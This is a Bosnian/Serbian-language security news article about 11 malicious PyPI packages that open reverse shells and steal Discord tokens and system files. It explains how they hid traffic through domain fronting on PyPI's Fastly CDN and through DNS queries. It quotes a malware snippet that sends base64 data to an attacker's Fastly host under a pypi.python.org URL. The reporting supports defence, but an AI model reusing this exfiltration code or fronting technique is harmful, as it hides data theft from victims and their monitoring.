U PyPI katalogu su identificirane zlonamjerne biblioteke koje koriste PyPI CDN za skrivanje komunikacijskog kanala

U direktoriju PyPI (Python Package Index) identifikovano je 11 paketa koji sadrže zlonamjerni kod. Prije nego što su problemi otkriveni, paketi su ukupno preuzeti oko 38 hiljada puta. Otkriveni zlonamjerni paketi su prepoznatljivi po korištenju sofisticiranih metoda za skrivanje komunikacijskih kanala sa serverima napadača.

  • važan paket (6305 preuzimanja), važan-paket (12897) - uspostavio vezu sa eksternim serverom pod krinkom povezivanja na pypi.python.org da bi obezbedio pristup ljusci sistemu (obrnuta ljuska) i koristio program trevorc2 da sakri komunikacijski kanal.
  • pptest (10001), ipboards (946) - koristi DNS kao komunikacioni kanal za prenos informacija o sistemu (u prvom paketu ime hosta, radni direktorijum, interni i eksterni IP, u drugom - korisničko ime i ime hosta) .
  • owlmoon (3285), DiscordSafety (557), yiffparty (1859) - identificirali Discord servisni token u sistemu i poslali ga vanjskom hostu.
  • trrfab (287) - poslao identifikator, ime hosta i sadržaj /etc/passwd, /etc/hosts, /home vanjskom hostu.
  • 10Cent10 (490) - uspostavio obrnutu ljusku vezu s vanjskim hostom.
  • yandex-yt (4183) - prikazao je poruku o kompromitovanju sistema i preusmjerio na stranicu s dodatnim informacijama o daljim radnjama izdatim putem nda.ya.ru (api.ya.cc).

Posebno treba istaći metod pristupa eksternim hostovima koji se koristi u paketima važan paket i važan paket, koji su koristili mrežu za isporuku sadržaja Fastly koja se koristi u PyPI direktorijumu da sakriju svoju aktivnost. Zapravo, zahtjevi su poslani na pypi.python.org server (uključujući navođenje imena python.org u SNI unutar HTTPS zahtjeva), ali HTTP zaglavlje „Host“ uključivalo je ime servera koji kontroliraju napadači (sek. forward.io. global.prod.fastly.net). Mreža za isporuku sadržaja poslala je sličan zahtjev napadačkom serveru, koristeći parametre TLS veze na pypi.python.org prilikom prijenosa podataka.

PyPI infrastrukturu pokreće mreža za isporuku sadržaja Fastly, koja koristi Varnish transparentni proxy za keširanje tipičnih zahtjeva, a također koristi obradu TLS certifikata na CDN nivou, umjesto na krajnjim serverima, za prosljeđivanje HTTPS zahtjeva putem proxyja. Bez obzira na ciljni host, zahtjevi se šalju proxyju, koji određuje željeni host koristeći HTTP zaglavlje „Host“, a imena domena hosta su vezana za IP adrese CDN balansera opterećenja koje su tipične za sve Fastly klijente.

Server napadača se također registruje na CDN Fastly, koji svima pruža besplatne planove, pa čak i omogućava anonimnu registraciju. Važno je napomenuti da se za slanje zahtjeva žrtvi prilikom kreiranja „obrnute ljuske“ također koristi shema, ali inicirana sa strane napadačevog domaćina. Izvana, interakcija sa serverom napadača izgleda kao legitimna sesija sa PyPI direktorijumom, šifrovanom pomoću PyPI TLS sertifikata. Slična tehnika, poznata kao „prolaženje domene“, ranije se aktivno koristila za sakrivanje imena hosta prilikom zaobilaženja blokiranja, koristeći mogućnost da se u nekim CDN mrežama pristupi HTTPS-u navođenjem fiktivnog hosta u SNI i stvarnom prenošenju imena traženi host u zaglavlju HTTP Host unutar TLS sesije.

U PyPI katalogu su identificirane zlonamjerne biblioteke koje koriste PyPI CDN za skrivanje komunikacijskog kanala

Da bi se sakrila zlonamjerna aktivnost, paket TrevorC2 dodatno je korišten da interakcija sa serverom bude slična redovnoj web navigaciji, na primjer, slani su zlonamjerni zahtjevi pod krinkom preuzimanja slike „https://pypi.python.org/images/ guid=” sa kodiranjem informacija u guid parametru. url = "https://pypi.python.org" + "/images" + "?" + "guid=" + b64_payload r = request.Request(url, headers = {'Host': "psec.forward.io.global.prod.fastly.net"})

Paketi pptest i ipboards koristili su drugačiji pristup za skrivanje mrežne aktivnosti, zasnovan na kodiranju korisnih informacija u upitima prema DNS serveru. Zlonamjerni softver prenosi informacije izvodeći DNS zahtjeve poput “nu4timjagq4fimbuhe.example.com”, u kojem su podaci koji se prenose kontrolnom serveru kodirani korištenjem base64 formata u nazivu poddomena. Napadač prima ove poruke tako što kontroliše DNS server za domen example.com.

izvor: opennet.ru

Dodajte komentar